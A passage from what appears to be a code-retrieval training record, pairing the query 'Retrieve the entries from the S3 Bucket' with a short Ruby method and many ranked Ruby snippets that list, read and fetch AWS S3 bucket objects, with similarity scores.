index)\n if !position_taken?(board, index) && index.between?(0, 8)\n return true\n else\n false\n end\nend", "def valid_move? (board, index)\n if (index).between?(0,8) == true && position_taken?(board, index) == false\n return true\n else\n return false\n end\nend", "def valid_move?(board, index)\n if position_taken?(board, index) == false && index.between?(0, 8) == true\n true\n else\n false\nend\nend", "def valid_move?(board, index)\r\n index.between?(0,8) && !position_taken?(board, index)\r\nend", "def valid_move?(board, index)\n if position_taken?(board, index) == true\n false\n elsif index > 8 || index < 0\n false\n else\n true\n end\nend", "def valid_move?(board, index)\n if index.between?(0,8) && !position_taken?(board, index)\n return true\n else\n false\nend\nend", "def valid_move?(index)\n index.between?(0, 8) && !position_taken?(index)\n end", "def valid_move?(index)\n return !position_taken?(index) && index.between?(0,8)\n end", "def valid_move?(index)\n index.between?(0,8) && !position_taken?(index)\n end", "def valid_move?(board, index)\n # Is the position taken?\n pos_taken = position_taken?(board, index)\n # Is the position on the board?\n on_board = index.between?(0, board.length - 1)\n # If position is open and on the board, return true,\n if !pos_taken && on_board\n return true\n else\n return false\n end\nend" ]
[ "0.8373497", "0.8335318", "0.82131004", "0.82115114", "0.8182975", "0.81820804", "0.8172486", "0.8164463", "0.816233", "0.81604064", "0.81590617", "0.81519824", "0.8132961", "0.8115466", "0.81005144", "0.80969346", "0.8078271", "0.8078001", "0.8075221", "0.8063595", "0.8063595", "0.8062028", "0.80617464", "0.80597943", "0.8055887", "0.80524313", "0.8052058", "0.8048424", "0.80475545", "0.80413043", "0.8035215", "0.8030946", "0.80287635", "0.8028747", "0.8026712", "0.8020942", "0.801631", "0.80151737", "0.8013371", "0.8013371", "0.8013371", "0.8013371", "0.80125713", "0.8008712", "0.80038303", "0.80034184", "0.80015755", "0.80006623", "0.79969203", "0.7993236", "0.7991625", "0.7991625", "0.7987937", "0.79874074", "0.79866356", "0.7982625", "0.7981353", "0.7981139", "0.7979574", "0.7978786", "0.7978055", "0.7976021", "0.7975986", "0.7975689", "0.7974882", "0.79742754", "0.7973789", "0.7971456", "0.7971456", "0.7971456", "0.7971456", "0.7965963", "0.79622525", "0.79604334", "0.79588056", "0.7957666", "0.7957053", "0.7956452", "0.79554033", "0.7955308", "0.795294", "0.7952833", "0.79485714", "0.7948457", "0.7948021", "0.7947931", "0.7946894", "0.7944362", "0.79432726", "0.79431593", "0.7942734", "0.79427177", "0.79425395", "0.79405874", "0.79405606", "0.79401636", "0.7939772", "0.79389274", "0.7937044", "0.79364717", "0.7933852" ]
0.0
-1
Retrieve the entries from the S3 Bucket
def contents(path = '') path = File.join(path, '') unless path.empty? @entries = [] generate_listing(path) @sorter.call(@entries) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def objects\n bucket_obj = Aws::S3::Bucket.new(name: bucket, client: s3_client)\n bucket_obj.objects( prefix: prefix)\n end", "def retrieve_objects_via_http(bucket)\n _log 'Retrieving objects via unauthenticated method.'\n r = http_request :get, \"https://#{bucket}.s3.amazonaws.com\"\n if r.code != '200'\n _log 'Failed to retrieve any objects using the unauthenticated technique as bucket listing is disabled.'\n return\n end\n\n xml_doc = Nokogiri::XML(r.body)\n xml_doc.remove_namespaces!\n results = xml_doc.xpath('//ListBucketResult//Contents//Key').children.map(&:text)\n results[0...999] # return first 1k results as some buckets may have tons of objects\n\n # format before\n results.reject! { |b| b =~ %r{.+/$} } unless results.nil? # remove folder names if bucket_objs is not nil\n results unless results.empty? \n end", "def list_s3_buckets()\n\n s3 = connect_to_s3()\n response = s3.list_buckets\n\n response.buckets.each do |bucket|\n puts \"#{bucket.creation_date} #{bucket.name}\"\n end\n\nend", "def list\n ::Taxi::S3.instance.list_buckets\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def buckets\n response = send_s3_request\n parser = Awsum::S3::BucketParser.new(self)\n parser.parse(response.body)\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets()\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end", "def keys(bucket_name, options = {})\n paramters = {}\n paramters['prefix'] = options[:prefix] if options[:prefix]\n paramters['marker'] = options[:marker] if options[:marker]\n paramters['max_keys'] = options[:max_keys] if options[:max_keys]\n paramters['prefix'] = options[:prefix] if options[:prefix]\n\n response = send_s3_request('GET', :bucket => bucket_name, :paramters => paramters)\n parser = Awsum::S3::ObjectParser.new(self)\n parser.parse(response.body)\n end", "def list_s3_bucket_files(bucket)\n\n s3 = connect_to_s3()\n resp = s3.list_objects_v2(bucket: bucket)\n counter = 1\n\n resp.contents.each do |obj|\n puts \"#{bucket} bucket file #{counter}: #{obj.key}\"\n counter += 1\n end\n\nend", "def list_buckets\n s3 = Aws::S3::Client.new(\n region: 'us-east-1'\n )\n resp = s3.list_buckets({})\n # get the total number of buckets\n num_buckets = resp.buckets.length\n # loop through and puts name\n num_buckets.times do |i|\n puts resp.buckets[i].name.colorize(:light_magenta).colorize(:background => :black)\n end\nend", "def ls(bucket)\n ::Taxi::S3.instance.ls(bucket)\n end", "def show\n client = Aws::S3::Client.new(\n region: Rails.application.credentials.aws[:aws_region],\n access_key_id: Rails.application.credentials.aws[:access_key_id],\n secret_access_key: Rails.application.credentials.aws[:secret_access_key])\n @objects = client.list_objects({bucket:'awsprojectbuckett'}).contents\n end", "def list_objects(s3_client, bucket_name)\r\n response = s3_client.list_objects_v2(bucket: bucket_name)\r\n if response.contents.count.zero?\r\n puts 'No objects.'\r\n else\r\n response.contents.each do |object|\r\n puts object.key\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error listing objects: #{e.message}\"\r\nend", "def bucket\n begin\n # Find existing bucket:\n bucket = service.buckets.find(s3_bucket)\n rescue ::S3::Error::NoSuchBucket => e\n # Apparently the bucket doesn't exist yet, so create a new one:\n bucket = service.buckets.build(s3_bucket)\n bucket.save\n end\n bucket.retrieve\n end", "def read\n object = bucket.objects.find(@path)\n object.content\n end", "def aws_S3_bucket_get(opts)\n AWS::S3.new.buckets[opts[:name]]\n end", "def aws_S3_object_get_and_read(bucket, name)\n log \"AWS: getting S3Object 'name'\"\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n log \"AWS: reading S3Object '#{object.key}'\"\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end", "def ls(bucket)\n puts \"> AWS Bucket: ls #{bucket}\".yellow\n response = s3_client.list_objects_v2(bucket: bucket)\n files = response.contents\n files_str = files.map do |entry|\n \"#{entry.last_modified.to_s.greenish}\\t#{entry.size.to_s.blueish}\\t#{entry.key.yellow}\"\n end\n files_str.each do |entry|\n puts entry\n end\n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_bucket_objects(s3_client, bucket_name)\r\nend", "def list_buckets(s3_client)\r\n response = s3_client.list_buckets\r\n if response.buckets.count.zero?\r\n puts 'No buckets.'\r\n else\r\n response.buckets.each do |bucket|\r\n puts bucket.name\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error listing buckets: #{e.message}\"\r\nend", "def retrieve_objects_via_api(client, bucket)\n _log 'Retrieving objects via authenticated method.'\n begin\n objs = client.list_objects_v2(bucket: bucket).contents.collect(&:key) # maximum of 1000 objects\n rescue Aws::S3::Errors::AccessDenied, Aws::S3::Errors::AllAccessDisabled\n objs = []\n _log_error 'Could not retrieve bucket objects using the authenticated technique due to insufficient permissions.'\n end\n\n objs.reject! { |b| b =~ %r{.+/$} } unless objs.nil? # remove folder names if bucket_objs is not nil\n objs unless objs.empty? # force a nil return if an empty array as we are catching the nil reference\n end", "def get_s3_bucket_object(bucket_name)\n resource.bucket(bucket_name)\n end", "def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end", "def get(key)\n s3_read key\n end", "def bucket; ::AWS::S3.new( { :secure => false } ).buckets[DC::SECRETS['bucket']]; end", "def list_buckets\n puts '> AWS Buckets'.yellow\n response = s3_client.list_buckets\n buckets = response.buckets.map do |bucket|\n \"#{bucket.name.yellow} - created: #{bucket.creation_date.to_s.greenish}\"\n end\n buckets.each do |bucket|\n puts bucket\n end\n end", "def retrieve_log_files_from_s3\n s3_log_reader.retrieve_job_files(record_id)\n end", "def index\n @s3images = S3image.all\n\n end", "def bucket; ::AWS::S3.new({ secure: true }).buckets[DC::SECRETS['bucket']]; end", "def fetch_s3(package)\n\tbucket = $s3client.bucket(\"rogoodpractice\")\n\t\n\t# get all objects\n obs = bucket.objects;\n \n # pull out those matching package name\n obs = obs.select { |a| a.key.match(/#{package}/) };\n\n # pull out those with .txt files\n obstxt = obs.select { |a| a.key.match(/\\.txt/) }\n\n # pull out latest file by timestamp\n\ttarget = obstxt.max_by { |a| a.last_modified }\n\n\t# get URL\n\ttarget.temporary_url\nend", "def bucket_meta_objects(bucket_name, *args)\n options = {\n :delimeter => nil,\n :marker => nil,\n :max_keys => nil,\n :prefix => nil\n }\n options.merge!(args.pop) if args.last.is_a? Hash\n\n path = \"/?\"\n path << \"delimeter=#{options[:delimeter]}&\" if !options[:delimeter].nil?\n path << \"marker=#{options[:marker]}&\" if !options[:marker].nil?\n path << \"max-keys=#{options[:max_keys]}&\" if !options[:max_keys].nil?\n path << \"prefix=#{options[:prefix]}&\" if !options[:prefix].nil?\n path.gsub!(/[&]$/, '')\n\n hpr = Hpricot(connection.get(path, bucket_name))\n hpr.search(\"contents\").map do |el|\n BucketMetaObject.new(\n {\n :bucket_name => bucket_name,\n :key => el.search(\"key\").inner_html,\n :last_modified => el.search(\"lastmodified\").inner_html,\n :e_tag => el.search(\"etag\").inner_html,\n :size => el.search(\"size\").inner_html,\n :storage_class => el.search(\"storageclass\").inner_html,\n :owner_id => el.search(\"id\").inner_html,\n :owner_display_name => el.search(\"displayname\").inner_html\n }\n )\n end\n end", "def []( bucket_name, opts = {} )\n jbucket = @jservice.get_bucket( bucket_name )\n S3Bucket.new( self, jbucket, opts )\n end", "def getObjectsList\n begin\n #get a handle on the user selected bucket\n s3 = createS3Connection\n bucket = s3.buckets[session[:s3bucket]]\n\n #pull down a list of the object names only\n objects_array = []\n # final_objects_array = []\n\n #bucket.objects.each do |obj|\n # objects_array.push(obj.key)\n #end\n\n bucket.objects.each do |obj|\n objects_array.push({:name => obj.key, :size => (obj.content_length / 1024.0).round(2), :type => obj.content_type, :last_mod => obj.last_modified})\n end\n\n objects_array = createEmptyObjectsArray if objects_array.empty?\n\n return objects_array\n #if !objects_array.empty?\n # objects_array.each do |obj_name|\n # final_objects_array.push({:name => obj_name, :size => '', :type => ''})\n # end\n # else\n # final_objects_array = [{:name => '', :size => '', :type => ''}]\n # end\n # return final_objects_array\n rescue Exception => error\n # return createEmptyObjectsArray\n return createEmptyObjectsArray\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 object list: #{error}.\"\n end\n end", "def read(key)\n bucket.objects[key].read\n rescue AWS::S3::Errors::NoSuchKey\n nil\n end", "def getBucketsList\n begin\n s3 = createS3Connection\n list = s3.buckets.collect(&:name)\n buckets_array = []\n\n #for each S3 bucket collect statistics\n list.each do |bucket_name|\n obj_count = 0\n total_size = 0\n bucket = s3.buckets[bucket_name]\n\n #for each object in the bucket\n bucket.objects.each do |obj|\n obj_count +=1\n total_size += obj.content_length\n end\n\n #convert total_size from bytes to MB\n total_size = (total_size / 1024.0).round(2)\n #build the array of buckets\n buckets_array.push({:name => bucket_name, :objects => obj_count, :size => total_size})\n end\n return buckets_array\n rescue Exception => error\n return createEmptyBucketsArray\n flash.now[:danger] = \"<strong>Success!</strong>\".html_safe + \" Problem creating S3 buckets list: #{error}.\"\n end\n end", "def aws_list_objects(bucket, filter = nil, **opt)\n __debug_items(binding)\n meth = opt.delete(:meth) || calling_method\n client = opt.delete(:client)\n client ||= (bucket.client if bucket.is_a?(Aws::S3::Bucket))\n client ||= s3_client(**opt)\n params = { bucket: bucket }\n filter =\n case filter.presence\n when nil then nil # No filter means list all objects in the bucket.\n when '*' then nil # An explicit request for all objects.\n when /\\.$/ then filter\n when /\\.\\*$/ then filter.delete_suffix('*')\n else \"#{filter}.\"\n end\n # @type [Aws::S3::Types::ListObjectsV2Output] response\n response = client.list_objects_v2(params, **opt)\n result = Array.wrap(response.contents)\n filter ? result.select { |obj| obj.key.start_with?(filter) } : result\n rescue => error\n set_error(error)\n # noinspection RubyScope\n Log.warn { \"#{meth}: AWS S3 failure: #{error.class}: #{error.message}\" }\n end", "def s3_object\n @s3_object ||= bucket.objects[full_key]\n end", "def [] bucket_name\n bucket_named(bucket_name)\n end", "def object_details(bucket_name:, key:)\n s3_client.get_object(bucket: bucket_name, key: key).to_h\n end", "def list_objects(key)\n\n puts \"Objects in bucket #{@bucket_name}/#{key}:\"\n files = @client.buckets[@bucket_name].objects.with_prefix(key)\n\n resp = files.each do |o|\n puts \"\\t#{o.key} => #{o.etag}\"\n end\n end", "def get(local_path, s3_path, bucket)\n client.get_object(\n response_target: local_path,\n bucket: bucket,\n key: s3_path)\n end", "def get_aws(name)\n buckets.fetch(name)\n rescue KeyError\n puts \"No S3 bucket named #{name}\"\n exit\n end", "def object_data(bucket_name, key, &block)\n send_s3_request('GET', :bucket => bucket_name, :key => key) do |response|\n if block_given?\n response.read_body &block\n return true\n else\n return response.body\n end\n end\n end", "def s3_read(key)\n obj = @s3.get_object bucket: ENV.fetch(\"AWS_BUCKET\"), key: key\n obj.body.read\n end", "def aws_S3_object_get_and_read_no_log(bucket, name)\n object = aws_call('aws_S3_object_get', bucket: bucket, name: name)\n if aws_call('aws_obj_exists?', obj: object)\n return aws_call('aws_S3_object_read', object: object)\n end\n return \"\"\n rescue AWS::S3::Errors::NoSuchKey => e\n return \"\"\n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_object_acls(s3_client, bucket_name, object_key)\r\nend", "def list_bucket_objects(s3_client, bucket_name, max_objects = 50)\r\n if max_objects < 1 || max_objects > 1000\r\n puts 'Maximum number of objects to request must be between 1 and 1,000.'\r\n return\r\n end\r\n\r\n objects = s3_client.list_objects_v2(\r\n bucket: bucket_name,\r\n max_keys: max_objects\r\n ).contents\r\n\r\n if objects.count.zero?\r\n puts \"No objects in bucket '#{bucket_name}'.\"\r\n return\r\n else\r\n if objects.count == max_objects\r\n puts \"First #{objects.count} objects in bucket '#{bucket_name}':\"\r\n else\r\n puts \"Objects in bucket '#{bucket_name}':\"\r\n end\r\n objects.each do |object|\r\n puts object.key\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error accessing bucket '#{bucket_name}' \" \\\r\n \"or listing its objects: #{e.message}\"\r\nend", "def get(bucket:, path:, access_key_id:, secret_access_key:, token: nil, region: nil)\n region ||= 'us-east-1' # Most buckets.\n path = path[1..-1] if path[0] == '/'\n\n verb = 'GET'\n uri_path = \"/#{bucket}/#{path}\"\n body = ''\n\n datetime = Time.now.utc.strftime('%Y%m%dT%H%M%SZ')\n date = datetime[0,8]\n\n c_scope = _credential_scope(date, region)\n credential = \"#{access_key_id}/#{c_scope}\"\n\n algorithm = 'AWS4-HMAC-SHA256'\n\n if region == 'us-east-1'\n hostname = 's3.amazonaws.com'\n else\n hostname = \"s3-#{region}.amazonaws.com\"\n end\n\n headers = {\n 'host' => hostname,\n 'x-amz-content-sha256' => hexdigest(body),\n 'x-amz-date' => datetime,\n 'x-amz-expires' => '900', # 15 minutes\n }\n headers['x-amz-security-token'] = token if token\n\n canonical_request = _canonical_request(verb: verb, path: uri_path,\n querystring: '', headers: headers,\n content_hash: hexdigest(body))\n signed_headers = headers.keys.sort.join(';')\n\n to_sign = _string_to_sign(datetime, c_scope, canonical_request)\n signed = _signature(secret_access_key, date, region, 's3', to_sign)\n\n headers['authorization'] = \"#{algorithm} Credential=#{credential}, SignedHeaders=#{signed_headers}, Signature=#{signed}\"\n\n # Debug information useful if the signature is wrong\n Chef::Log.debug { \"CanonicalRequest: \" + canonical_request.inspect }\n Chef::Log.debug { \"StringToSign: \" + to_sign.inspect }\n Chef::Log.debug { \"headers: \" + headers.inspect }\n\n client = Chef::HTTP.new(\"https://#{hostname}\")\n begin\n content = client.get(uri_path[1..-1], headers)\n rescue Net::HTTPServerException => e\n raise CitadelError.new(\"Unable to download #{path}: #{e}\")\n end\n\n response = client.last_response\n\n case response\n when Net::HTTPOK\n return content\n when Net::HTTPRedirection\n # When you request a bucket at the wrong region endpoint, S3 returns an\n # HTTP 301, but it doesn't set a Location header, so chef doesn't\n # follow it and returns a nil response.\n true_region = response.header['x-amz-bucket-region']\n raise CitadelError.new(\n \"Bucket #{bucket} is actually in #{true_region}, not #{region}\")\n else\n Chef::Log.warn(\"Unexpected HTTP response: #{response.inspect}\")\n Chef::Log.warn(\"Response body: #{response.body.inspect}\")\n raise CitadelError.new(\"Unexpected HTTP response: #{response.inspect}\")\n end\n end", "def viewBucketObjects\n begin\n puts params\n session[:s3bucket] = params[:selection][:bucket]\n\n #Get the list of buckets if a connection can be Established\n #Return an empty list of buckets if a connection cant be established\n @buckets_array = createEmptyBucketsArray if session[:s3connection] != \"Established\"\n @buckets_array = getBucketsList if session[:s3connection] == \"Established\"\n\n #Get the list of objects for the selected bucket.\n #Returns an empty list of objects if the selected bucket value is None\n @objects_array = createEmptyObjectsArray if session[:s3bucket] == \"No Bucket Selected\"\n @objects_array = getObjectsList if session[:s3bucket] != \"No Bucket Selected\"\n flash.now[:info] = \"<strong>Success!</strong>\".html_safe + \" Object list downloaded for account.\"\n rescue Exception => error\n @buckets_array = createEmptyBucketsArray if session[:s3connection] != \"Established\"\n @objects_array = createEmptyObjectsArray if session[:s3bucket] == \"No Bucket Selected\"\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem loading application: #{error}.\"\n end\n end", "def get_bucket(bucket_name, options={})\n resp = get(bucket_name, '/', options)\n resp_obj = Crack::XML.parse(resp.body)\n if resp.code == \"200\"\n resp_obj[:success] = true\n resp_obj[:bucket_name] = bucket_name\n resp_obj[:message] = \"Bucket retrieved successfully\"\n contents = resp_obj[\"ListBucketResult\"][\"Contents\"] ? Array.new : nil\n resp_obj[\"ListBucketResult\"][\"Contents\"].is_a?(Array) ? \\\n (contents = resp_obj[\"ListBucketResult\"][\"Contents\"]) : \\\n (contents[0] = resp_obj[\"ListBucketResult\"][\"Contents\"]) unless contents.nil?\n resp_obj[:contents] = contents\n resp_obj[:raw] = Crack::XML.parse(resp.body)\n resp_obj.each_key {|key| resp_obj.delete(key) unless [:success, :bucket_name, :message, :contents, :raw].include?(key) }\n\n else\n resp_obj[:success] = false\n resp_obj[:bucket_name] = bucket_name\n resp_obj[:message] = resp_obj[\"Error\"][\"Message\"]\n resp_obj[:contents] = nil\n resp_obj[:code] = resp_obj[\"Error\"][\"Code\"]\n resp_obj[:raw] = Crack::XML.parse(resp.body)\n resp_obj.each_key {|key| resp_obj.delete(key) unless [:success, :bucket_name, :message, :contents, :code, :raw].include?(key) }\n\n end\n return resp_obj\n end", "def buckets( opts = {} )\n jbuckets = @jservice.list_all_buckets\n jbuckets.map { |jb| S3Bucket.new( self, jb, opts ) }\n end", "def s3_url\n establish_s3_connection\n bucket = s3keys[\"bucket\"]\n key = self.datastreams[\"s3\"].key_values.first\n s3 = AWS::S3.new\n s3.buckets[bucket].objects[key].url_for(:read, :expires => 60 * 60 * 1.5)\n end", "def ls(bucket) # s3://BUCKET[/PREFIX]]\n send_command \"ls\", bucket\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end", "def s3\n return self[:s3]\n end" ]
[ "0.7989863", "0.7881867", "0.7813273", "0.77825546", "0.7710559", "0.7694403", "0.7669186", "0.7595509", "0.75795853", "0.75195915", "0.7511878", "0.74381304", "0.7397821", "0.7355452", "0.72402334", "0.72379464", "0.7181543", "0.71671", "0.71580243", "0.71076906", "0.71035373", "0.7078428", "0.7067919", "0.706549", "0.70282966", "0.6973409", "0.69451195", "0.69330364", "0.69266844", "0.6908758", "0.68872994", "0.688088", "0.68728966", "0.68672097", "0.6854029", "0.6850248", "0.682325", "0.68171066", "0.68136495", "0.6808411", "0.6806606", "0.68053037", "0.67784435", "0.6772092", "0.6727762", "0.6722905", "0.6719684", "0.67147404", "0.66991085", "0.66986305", "0.66968876", "0.66793466", "0.6640848", "0.66157067", "0.66136193", "0.66136193", "0.66136193", "0.66136193", "0.66136193", "0.66136193", "0.66136193", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854", "0.66135854" ]
0.0
-1
Construct a BrowseEverything::FileEntry object
def entry_for(name, size, date, dir) BrowseEverything::FileEntry.new(name, [key, name].join(':'), File.basename(name), size, date, dir) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def directory_entry(file)\n BrowseEverything::FileEntry.new(file.id, \"#{key}:#{file.id}\", file.name, file.size, file.created_at, file.type == 'folder')\n end", "def make_entry()\n\n seq_id = @filehandler.readline.chomp\n puts seq_id\n sequence = @filehandler.readline.chomp\n identifier = @filehandler.readline.chomp\n quality = @filehandler.readline.chomp\n\n Entry.new(seq_id, sequence, identifier, quality)\n end", "def files\n entries.map{ |f| FileObject[path, f] }\n end", "def build_entry(type, index, path, left_entry = nil)\n if type == :folder then\n entry = FileSystem::Folder.new(index, path, left_entry)\n else\n entry = FileSystem::FileEntry.new(index, path, left_entry)\n end\n\n entry.original_created_datetime = get_creation_timestamp(path)\n entry.original_modified_datetime = get_modification_timestamp(path)\n entry\n end", "def upload_entry\n e = Entry.new\n e.image = uploaded_file(\"skanthak.png\", \"image/png\")\n return e\n end", "def upload_entry\n e = Entry.new\n e.image = uploaded_file(\"skanthak.png\", \"image/png\")\n return e\n end", "def entry_files\n @entry_files = base_files @entry_path\n end", "def entries\n {file => self}\n end", "def file\n add FileCursor.new\n end", "def object\n case type\n when \"file\" then @filepath\n when \"atom\" then @atomentry.xml\n when \"multipart\" then @multipart.filepath\n end\n end", "def entry(entry_name)\n Buildr::TarEntry.new(self, entry_name)\n end", "def initialize(build_file)\n @name = build_file.file_ref.display_name\n @path = build_file.file_ref.real_path.to_s\n end", "def fileinfo(info)\n return info if info.respond_to?(:filetype)\n\n Aur::FileInfo.new(info)\n end", "def file\n FileFactory.new(self)\n end", "def file_entry(ref, identifier)\n out = ref[\"attachment\"] ? ref[\"fileref\"] : File.basename(ref[\"fileref\"])\n ret = if ref[\"fileref\"]\n { type: \"fileref\", ref: @documents[identifier].file,\n rel_path: ref[\"fileref\"], out_path: out }\n else { type: \"id\", ref: ref[\"id\"] } end\n %w(attachment sectionsplit index presentation-xml\n bare-after-first).each do |s|\n ret[s.gsub(\"-\", \"\").to_sym] = ref[s] if ref[s]\n end\n ret.compact\n end", "def file( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::FileInfo.new( self, name )\n\t\t\tend", "def entries() Dir.entries( expand_tilde ).map { |f| self.class.new( f ) } end", "def initialize(name, metadata = {})\n super\n @files = {}\n end", "def initialize(name, hash, parentPathElements)\n #N Without this we won't remember the name of the file\n @name = name\n #N Without this we won't know the hash of the contents of the file\n @hash = hash\n #N Without this we won't know the path elements of the sub-directory (within the directory tree) containing the file\n @parentPathElements = parentPathElements\n #N Without this the file object won't be in a default state of _not_ to be copied\n @copyDestination = nil\n #N Without this the file object won't be in a default state of _not_ to be deleted\n @toBeDeleted = false\n end", "def initialize(parent = nil, file = nil, title = nil, description = nil)\n super(parent)\n\n @file = file\n self.title = title\n self.description = description\n end", "def initialize file, in_opts={}\n opts = in_opts.to_hwia :name, :cache, :content_type, :inline, :disposition, :content\n opts.disposition ||= opts.inline.class == TrueClass ? 'inline' : 'attachment'\n opts.cache = true if opts.cache.nil?\n\n file = file.to_s if file.class == Pathname\n file = 'public/%s' % file unless file[0, 1] == '/'\n\n @ext = file.include?('.') ? file.split('.').last.to_sym : nil\n @file = file\n @opts = opts\n end", "def initialize_copy(entry)\n @archive = entry.archive\n @entry = ::Archive::Entry.new(entry.ffi_ptr, clone: true)\n end", "def get_file\n\t\t{\n\t\t\tfile_name: File.basename(file.path.to_s),\n\t\t\turl: file.url\n\t\t}\n\tend", "def basic_file_object(path)\n bf = BasicFile.new\n file = File.open(path)\n raise 'file cannot be nil!' if file.nil?\n bf.add_file(file, true)\n bf.save\n bf\n end", "def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end", "def initialize(file)\n @file = file\n end", "def initialize(file)\n @file = file\n end", "def create\n @attachment = Attachment.new\n @entries = Entry.find(:all, :order => \"updated_at DESC\").map { |e| [e.title, e.id] }\n #Since we're using swfUpload, the file will be in params[:Filedata]\n #We need to change the content_type since swfUpload messes it up\n params[:Filedata].content_type = MIME::Types.type_for(params[:Filename]).to_s\n\n #Set the object to be the file uploaded\n @attachment.object = params[:Filedata]\n #Set the entry_id if there is one\n @attachment.entry_id = params[:entry_id]\n\n if @attachment.save\n flash[:notice] = 'Attachment was successfully created.'\n output = @attachment.object_file_name + \" successfully uploaded\";\n if params[:entry_id]\n output += \" to \"+Entry.find(params[:entry_id]).title\n end\n render :text => output\n else\n flash[:error] = 'Attachment creation failed.'\n render :action => \"edit\"\n end\n end", "def new_files; end", "def new\n @entry = Entry.new\n end", "def initialize(nod, c)\n\t\t\t\t\n\t\tsplitDirectory(nod)\n\t\t\n\t\tself.content = c\n\t\tself.description = \"-Creating 